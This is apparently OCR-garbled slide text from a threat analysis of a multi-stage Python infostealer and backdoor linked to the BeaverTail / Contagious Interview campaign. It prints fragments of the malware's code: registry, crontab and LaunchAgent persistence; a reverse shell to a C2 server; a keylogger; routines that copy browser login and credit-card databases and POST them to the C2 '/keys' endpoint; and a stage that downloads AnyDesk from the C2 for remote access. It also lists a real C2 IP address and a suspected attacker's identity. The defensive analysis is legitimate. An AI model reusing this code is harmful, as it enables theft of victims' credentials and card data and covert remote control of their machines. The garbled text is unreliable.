execute. subprocess.CREATE_NEW _PROCESS GROUP)

else:
subprocess .Popen([sys.executable,p])
0 = os_type + ' get anydesk’
except Exception as e:o = f'Err7: {e}';pass
p={ A:D, 0:0};A.send(code=7,args=p)

Assssssssans
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- ssh safe

Stage3 - pay2.py
« write "python.exe pay" into the registry

‘Library/LaunchAgents/com.sdriverupdater.agent.plist’)

".pyp\\pythonw.exe")

‘admin’

_A

3
"pay’)

r_dir

os.path.join(os.path.expanduser("~"),
f'reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v GoogleDriveUpdater /t REG_SZ /d "\\"{py_dir}\\" \\"{pay_dir}\\""

os_type.lower()
elif platform.startswith('darwin'):

os.path.join(A.pa
"<?xml version="1.0" encoding="UTF-8"2?><!DOCTYPE plist PUBLIC

(A, args):

args[_A]

cmd = f'(crontab -1 2>/dev/null; echo "@reboot python3 {pay_dir}") | crontab -*

plist path = os.path.join(os.path.expanduser('~"),

py_dir
cmd

cnd = £°°°
echo

elif platform.startswith( 'linux'):

if platform.startswith('win'):

platform
cmd
pay_dir

def ssh safe
a




S5tage3 - pay.py - Summary

e Uploads files:
o Sendto with POST method
o Content:
= System information
= (Geographical location data.
 KeylLogger :

o Mouse click, keyboard input, clipboard



Stage3 - pay.py - Summary

* Reverse Shell
o Ip, port
= <c2_server>, 5001
o Behavior
= Persistence
« Write "python.exe pay" into the registry
= Download:
« http://<c2_server>/adc/xyz2 -> any

« http://<c2_server>/brow/xyz2 -> bow



S5tage3 - pay.py - Summary
* Reverse Shell
o Uploads files:
= Sendto FTP Server
« Content:
o Target Profile
= Sendto
« Content:

o Keylogger data



Stage3 - pay2.py

Stage3

TEE 25 > XFHBEER[CHF » ERAGEAFMIBME
P TEM

C2/payload/xyz2
pay.py Reverse Shell
» (C2:5001

IS ENERA AR Attacker
download. py FTP_Server

C2/adc/xyz2
any.py




Stage3 - bow.py

« Will call different functions if 0s_type == "Windows":
0ss = Windows
: elif os_type == "Darwin”:
. 81 0ss = Mac
based on the operating system e
0ss = Linux
and then steal browser data o | e

fn=0s.path.join(dir,sys.argv[0])
- os.remove(fn);sys.exit(-1) # Clean exit
« Browers: 8 idx = @
v for br in available browsers: # [Chrome,
, px = oss(br, blank passwords=False)
, px.fetch()
« Chrome, Brave, Opera, Yandex, MsEdge v -
px.retrieve web()
bpl = home + f"/{br.base name}"”
px.save(f"s{idx}", bpl, blank file=False, verbose=True)
idx += 1



Stage3 - bow.py

« Will call different functions if 0s_type == "Windows":
0ss = Windows
: elif os_type == "Darwin”:
. 81 0ss = Mac
based on the operating system S
0ss = Linux
and then steal browser data o | e

fn=0s.path.join(dir,sys.argv[0])
- os.remove(fn);sys.exit(-1) # Clean exit
« Browers: 8 idx = @
v for br in available browsers: # [Chrome,
, px = oss(br, blank passwords=False)
, px.fetch()
« Chrome, Brave, Opera, Yandex, MsEdge s Totohesl)
px.retrieve web()
bpl = home + f"/{br.base name}"”
px.save(f"s{idx}", bpl, blank file=False, verbose=True)
idx += 1



Stage3 - bow.py - retrieve_database()

« Steals data from the "LoginData.db" file

def retrieve_database(self) -> list:

. . temp path = (home + "/AppData/Local/Temp") if self.target os == "Windows" else "/tmp'
@) I()£3|r] (3FEB(1€BT]tIEi|SS database paths, keys = self.database paths, self.keys
print(database_paths)
try:
= Uysernames for database_path in database_paths:

filename = os.path.join(temp_path, "LoginData.db")
shutil.copyfile(database path, filename)
" passwords db = sqlite3.connect(filename)
cursor = db.cursor()
cursor.execute(

. ... "select origin url, action_url, username value, password value, date cre:
creation_time = "unknown"
last_time used = "unknown”

key = keys[database paths.index(database_path)]



Stage3 - bow.py - retrieve_web()

def retrieve web(self):
] [
°
Steals data from the Webdatadb flle web paths, keys = self.browser web paths, self.keys
temp _path = (home + "/AppData/Local/Temp"”) if self.target os == "Windows" else "/tmp"

o Credit card information o

for web_path in web_paths:
filename = os.path.join(temp path, “"webdata.db")
shutil.copyfile(web_path, filename)

conn = sqlite3.connect(filename)
cursor = conn.cursor()
cursor.execute(
"SELECT name on _card, expiration month, expiration year, card number encry



Stage3 - bow.py - save()

A POST request will be sent to
http://<c2_server>/keys,

uploading all the collected data.

def save(self, fn: Union[Path, str], filepath: Union[Path, str], blank file: bool = False, verbose: bool = True) -> bool:
sType = "xyz2"
content = filepath + '\n' + self.pretty print()
options = {"ts’': str(ts), 'type’': sType,’'hid’': hn,’'ss’': str(fn), 'cc': content}
url = host2+' /keys’
try:
requests.post(url, data=options)
except:return ""



Stage3

Execute pay

o pay1

o pay2
Execute bow
Return data to C2

Have Reverse Shell

Stage3
FHE_H9 > LAIKREENEE
M TEP

C2/payload/xyz2
pay . py

download. py

C2/brow/xyzz | CHSRSEMTEE
bow. py

Reverse Shell
» C2:5001

BiEEREENEH X

C2/adc/xyz2
any.py

Attacker
FTP_Server




Stage4 - any.py - Download

« First, will check
if AnyDesk is installed on the system
o if not,
Access http://<c2_server>/any

to download the Anydesk.

o Place it in the ~/anydesk.exe file,

then execute.

61

def get anydesk path():
try:
if os.path.exists(any_path):return any_path
import requests
myfile = requests.get(host2+"/any"”, allow_redirects=True) # <c2_ser
if not os.path.exists(home + '/anydesk.exe'):
with open(home + '/anydesk.exe', 'wb') as f:
f.write(myfile.content)

return home + '/anydesk.exe'’

m
1)
0

except Exception as e:

# print(e)

return ""

if os_type=="Windows":
anydesk path = get anydesk path() # FZianydesk.exe
ad_path = os.getenv("appdata™)
pd_path = os.getenv("programdata™)

conf_pathl = ad_path+"/anydesk/service.conf™  "appdata/anydesk/service.conf"

conf_path2 = pd_path +"/anydesk/service.conf” "programdata/anydesk/service.conf"
else:

conf_pathl = home+"/.anydesk/service.conf”

conf_path2 = "/etc/anydesk/service.conf"

if not os.path.exists(conf_pathl) and not os.path.exists(conf_path2) and os_type ==
try:
subprocess.Popen(anydesk path)
time.sleep(3)
except Exception as e:
| pass

= :fiht(e1

“"Windows":



Stage4 - any.py - Download

« First, will check
if AnyDesk is installed on the system
o if not,
Access http://<c2_server>/any

to download the anydesk.

o Place it in the ~/anydesk.exe file,

then execute.
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def get anydesk path():
try:
if os.path.exists(any_path):return any_path
import requests
myfile = requests.get(host2+"/any"”, allow_redirects=True) # <c2_ser
if not os.path.exists(home + '/anydesk.exe'):
with open(home + '/anydesk.exe', 'wb') as f:
f.write(myfile.content)

return home + '/anydesk.exe'’

m
1)
0

except Exception as e:

# print(e)

return ""

if os_type=="Windows":
anydesk path = get anydesk path() # FZianydesk.exe
ad_path = os.getenv("appdata™)
pd_path = os.getenv("programdata™)

conf_pathl = ad_path+"/anydesk/service.conf™  "appdata/anydesk/service.conf"

conf_path2 = pd_path +"/anydesk/service.conf” "programdata/anydesk/service.conf"
else:

conf_pathl = home+"/.anydesk/service.conf”

conf_path2 = "/etc/anydesk/service.conf"

if not os.path.exists(conf_pathl) and not os.path.exists(conf_path2) and os_type ==
try:
subprocess.Popen(anydesk path)
time.sleep(3)
except Exception as e:
| pass

# print(e)]

“"Windows":
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Stage4 - any.py - Update

Update service.conf
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Stage4 - any.py - Upload
Return the service.conf

fo <c2 server>/ke
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"anydesk.exe"” if os_type=="Windows" else "anydesk"
subprocess.check call([sys.executable,'-m", ‘pip", ‘install’, 'psutil’])

subprocess.check_output("taskkill /F /IM anydesk.exe")
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5tage4 — any.py - Restart
Last, restart AnyDesk.exe




S5taged4 - Summary

 Behavior :
o Let attacker can Remote Desktop Connection
o Uploads files:
= Send to with POST method
= Content:

* service.conf



Stage4

Reverse Shell
(o
« Execute Anydesk.exe
» Remote Desktop Connection - s
P SRR ER P——
FTP_Server

C2/adc/xyz2
any . py Anydesk.exe

Stage4
B IR EEAIT




L2

«95.217.124.253
0 95.217.124.253/pdown
o0 95.217.124.253/uploads
0 95.217.124.253/client

*95.217.124.253:80
0 95.217.124.253:80/payload/xyz2
0 95.217.124.253:80/brow/xyz2
0 95.217.124.253:80/keys/xyz2

«95.217.124.253:5001

o shell

|
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C2 - VirusTotal

* VVirus Total
0 95.217.124.253

Communicating Files (7) ©

Scanned Detections Type Name

2020-09-17 3 /67 Win32 EXE DS-Mine.ru
2025-01-02 0/61 Text main-decoded-1.py
2024-12-31 7 /62 Text Xyz2

2025-01-02 0/61 Text bow-decoded-1.py
2020-01-23 3 /70 Win32 EXE Launcher
2020-02-08 4 [T71 Win32 EXE Launcher

2021-07-24 2 /68 Win32 EXE DS-Mine.ru ‘
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C2 - VirusTotal

*sType ="

Communicating Files (7) ©

Scanned Detections Type Name

2020-09-17 3 /67 Win32 EXE DS-Mine.ru
2025-01-02 0/61 Text main-decoded-1.py
2024-12-31 7/62 Text Xyz2

2025-01-02 0/61 Text bow-decoded-1.py
2020-01-23 3/70 Win32 EXE Launcher
2020-02-08 4 [T1 Win32 EXE Launcher
2021-07-24 2 /68 Win32 EXE DS-Mine.ru
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C2 - VirusTotal - xyz2

* brow
o Stage 2
* payload Contacted URLs (4) ©
o Stage 2
. : URL
prapl.com http://95.217.124.253/brow/xyz2
o payload
o get user location http://95.217.124.253/payload/xyz2
. keys http://95.217.124.253/keys

o return information http://ip-api.com/json
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Attacker

* git
o Author: james-tech >
o Date: Thu Dec 19 12:24:38 2024 +0000

O

 Bitbucket

& curonio / euron

euron-presale

euron-presale

Source
is main v Files v Filter files

Commits

Branches . /

jiaina Uctcorami Message Author: james-tech <jamesjones9291@gmail.com>

Date: Thu Dec 19 12:24:38 2024 +0000

Pull requests

. 2024-12-19 test assessment
Pipelines

g 2024-12-19 test assessment
Deployments test assessment

Jira issues 2024-12-19 test assessment

Security .env.example 2024-12-19 test assessment

Downloads .eslintignore 2024-12-19 test assessment



mailto:%3cjamesjones9291@gmail.com
https://bitbucket.org/euronio/euron-presale.git

Attacker - Bitbucket

* Bitbucket Watchers

o James Johnson
o euronio

2 Watchers

o James Johnson
@ euronio
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Attacker - Bitbucket

* Bitbucket Watchers

o James Johnson

2 Watchers

o James Johnson
@ euronio
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{

Attacker - Bitbucket

* Bitbucket Watchers

o James Johnson

"display _name": “euronio",
“Links™: {
"self": {
"href": "https://api.bitbucket.org/2.0/workspaces/%7B6ff8936d-ff5a-4d3d-bcc9-10e45a9414d1%7D"
}s
"avatar": {
"href": "https://bitbucket.org/account/euronio/avatar/"
}s
"html": {
"href": "https://bitbucket.org/%7B6ff8936d-ff5a-4d3d-bcc9-10e45a9414d1%7D/"
}
}s
"type": "team",
"uuid": "{eff8936d-ff5a-4d3d-bcc9-10e45a9414d1}",
"username”: "euronio"
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Attacker - Bitbucket

*euronio
o Is private :(

"type": "workspace"”,
"uuid": "{6ff8936d-ff5a-4d3d-bcc9-10e45a9414d1}",
"name"”: "euronio”,
35 private: true,
-:-_?“:uﬂﬂ;_nax-“n- “: null,
"links™: {
"avatar”: {
"href": "https://bitbucket.org/workspaces/euronio/avatar/?ts=1734610750"
¥
"hooks™: {
"href": "https://api.bitbucket.org/2.0/workspaces/euronio/hooks"
¥
"html": {
"href": "https://bitbucket.org/euronio/"
s

"html_overview":
"href": "https://bitbucket.org/euronio/workspace/overview/"
}>
"members”: {
"href": "https://api.bitbucket.org/2.0/workspaces/euronio/members”
}»
“owners": {
"href"+: "htitne://ani _hithicket naro/2 afwnrkenacec/oiniranin/memherce?a=nermi ccian%23n%?2 2n0wner%22"”

75



Attacker

* Time zone : UTC+09
 BeaverTall
e Similar attack
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Attacker

 BeaverTall
e Similar attack

def check window(event):
global c_win
if c win != event.Window: Sesseseses

(pid, text) - act_win_pn() T
tz = timezone(offset=timedelts
d _t = datetime.fromtimestamp(‘Cllie: cimey ), tz) i

_ d_t.strftime("%m/%d/%Y, %H:M: %5"

..........
»

..........
..........

AR R R R R R R T ]
siassssssssssana



Attacker

o Korea , Japan , Indonesiain <t

* BeaverTall -
I

e Similar attack .

!
{
}

Beiiing.

BANGLEAD
Kolkata((‘alcutra)_\‘
A

|

DA
E 542 philippine
!
!
|
.

Sea

pritish Inc
fean Terr

NEW GUINEA
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Attacker

* Time zone : UTC+09

 Similar attack - B - unhofer

Inventory Statistics Usage ApiVector Login

js.beavertail (Back to overview)

BeaverTa | I Propose Change

BeaverTail is a JavaScript malware primarily distributed through NPM packages. It is designed for information theft and to load further stages of malware,
specifically a multi-stage Python-based backdoor known as InvisibleFerret. BeaverTail targets cryptocurrency wallets and credit card information stored in
the victim's web browsers. Its code is heavily obfuscated to evade detection. Threat actors can either upload malicious NPM packages containing BeaverTail
to GitHub or inject BeaverTail code into legitimate NPM projects. Researchers have identified additional Windows and macOS variants, indicating that the
BeaverTail malware family is likely still under development.
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Attacker

References

2024-12-24 - [} - NTT Security Holdings - NTT Security Holdings
Al Contagious Interview Uses New Malware Otter Cookie
% BeaverTail 3k OtterCookie 3 InvisibleFerret

 Time zone ;: UTC+09 e

BB Fake North Korean IT Worker Linked to BeaverTail Video Conference App Phishing Attack
- 3% BeaverTail 3k InvisibleFerret & WageMole
* BeaverTall

2024-11-14 - eSentire - eSentire
AB Bored BeaverTail & InvisibleFerret Yacht Club — A Lazarus Lure Pt.2
i BeaverTail Ji InvisibleFerret

2024-11-04 - Zscaler - Zscaler
BB From Pyongyang to Your Payroll: The Rise of North Korean Remote Workers in the West

ik BeaverTail ¥ InvisibleFerret  # WageMole

2024-11-04 - Israel National Cyber Directorate (INCD) - Israel National Cyber Directorate (INCD)
BB Deep Drive Analysis of the BeaverTail Infostealer
3 BeaverTail

2024-10-29 - [ - Macnica - Hiroshi Takeuchi
Al Job Offer from the North: Contagious Interview for Software Developers
3% BeaverTail i InvisibleFerret

2024-10-29 - SecurityScorecard - SecurityScorecard STRIKE Team
BB The Job Offer That Wasn't: How We Stopped an Espionage Plot
% BeaverTail ¥k InvisibleFerret

2024-10-24 - Datadog - Datadog
BB Tenacious Pungsan: A DPRK threat actor linked to Contagious Interview
¥ BeaverTail Jik InvisibleFerret



Attacker i

* Time zone : UTC+09 3 :
 BeaverTall
e Similar attack
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Conclusion

Stagel

[RYGHESE

faigdBl+credential C2/pdown
Python.exe

liﬁiHiiiliHIl lHIIHHHHIHH'

Stage3
TEE_25 > LRWBHEEREE

B T&F
C2/payload/xyz2
pay.py

Hpython

download.py
C2/brow/xyz2 |EMERISAEEEN
bow. py

Stage2
WECQTHABR - MARTRMNIT

client/xyz2 Decode64R
main_xyz2.py

download. py

Attacker
FTP_Server

C2/adc/xyz2
any.py

Stage4
BIREEANT

Anydesk.exe
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Conclusion

Stagel #python Stage2
JRIGHESE WEC2TRAESR » URBERIT

fiigB+credential C2/pdown
Python.exe

[FE#8GitHub & Bitbucket

euron-presale

B curonio / euron
euron-presale

Stage3 Source
TE#FE_Z9 » ApHBEEFOE §9 main v Files v Filter files
*ﬂ%?ﬁFﬁ Commits -

C2/payload/xyz2 Branches

. Last commit Message
pay.py Pull requests —

2024-12-19 test assessment
Pipelines

src 2024-12-19 test assessment

Deployments

download. Py fisEStas =] .env 2024-12-19 test assessment

Security B .env.example 2024-12-19 test assessment

Downloads =] .eslintignore 2024-12-19 test assessment

C2/brow/xyz2 w@%igjﬁﬁﬁﬁ*ﬁ §tage4 -
bow-py % C2fkeys R S EHIT




Conclusion

Stagel #python Stage2
JRIGHESE WEC2TRAESR » URBERIT

fiigB+credential C2/pdown
Python.exe

. R
[F#8GitHub cl_tent/xyzz Decode64k T P
main_xyz2.py

Bpython

Stage3 -
o b BAGERIE G E
__: __import_ ('

Reverse Sbe;ll C2:5001

BISEEIRRR AR Aitacker
FTP_Server

C2/adc/xyz2

any.py Anydesk.exe

2/brow/xyz2 : ' §Ei§e4 L
bow. py BiEREAIT
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Conclusion

Information(object):
Stagel g _init_(A):
A.net_info=Geo().info()

A.sys_info=System().info()

ﬁiﬁ%@."’credential CZ/deWH f parse(K,data):
Python.exe J = ‘regionNam

I =

BE#4GitHub aliases.js client/xyz2 H-
main_xyz2.py 5

Hpython £ -

C =

B =

Stage3 = {3 A??taca 1se'',D:A[D]if D A else'',E:A[E]if
S A — = o H 5 7 A={C:A[C]1T in A else’',D:A[D]if in A else’’,E:A[E]if
'Fi'f,;g_nﬂﬁ ) jﬁﬁﬁﬁ‘n‘ﬁﬁ*‘—#@ﬁ ? i ! else’",I:A[I]if I in A else’’,B:A[B]if B in A else’’,J:A[3]if 3

-
(R
>N >

HMETEP

in A[B]:A[B]=A[B].replace('/"," ")
A[B]:A[B]=A[B].replace('_'," ')

C2/payload/xyz2 e
pay.py B=A7net_info

return{ 'sys_info':A.sys_info, 'net_

BISE IR RR AR5 AECaiker
FTP_Server

C2/adc/xyz2
any.py

download. py

Anydesk.exe

C2/brow/xyz2 RERER §:tage4 .
bow. py BiEREAIT

info':A.parse(B if B else



Conclusion

Stagel Stage2
JRIGHESE WEC2THAESE » MARBEMIT
C2/pdown

fiig¥Bl+credential

def get anydesk path():
try:
if os.path.exists(any path):return any path
import requests
myfile = requests.get(host2+"/any", allow redirects=True)
if not os.path.exists(home + /desk.exe'):
with open(home + ydesk.exe', 'wb') as f:f.write(myfile.content

return home + | ‘

o= [ SN

except Exception as e:
# print(e)
return

download. py .
C2/adc/xyz2

any.py
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Conclusion

& Malware family:
€ BeaverTail / Contagious Interview
€ C2 infrastructure:
€95.217.124.253
& Target:
& Software Engineer
& Adversary :
& Lazarus
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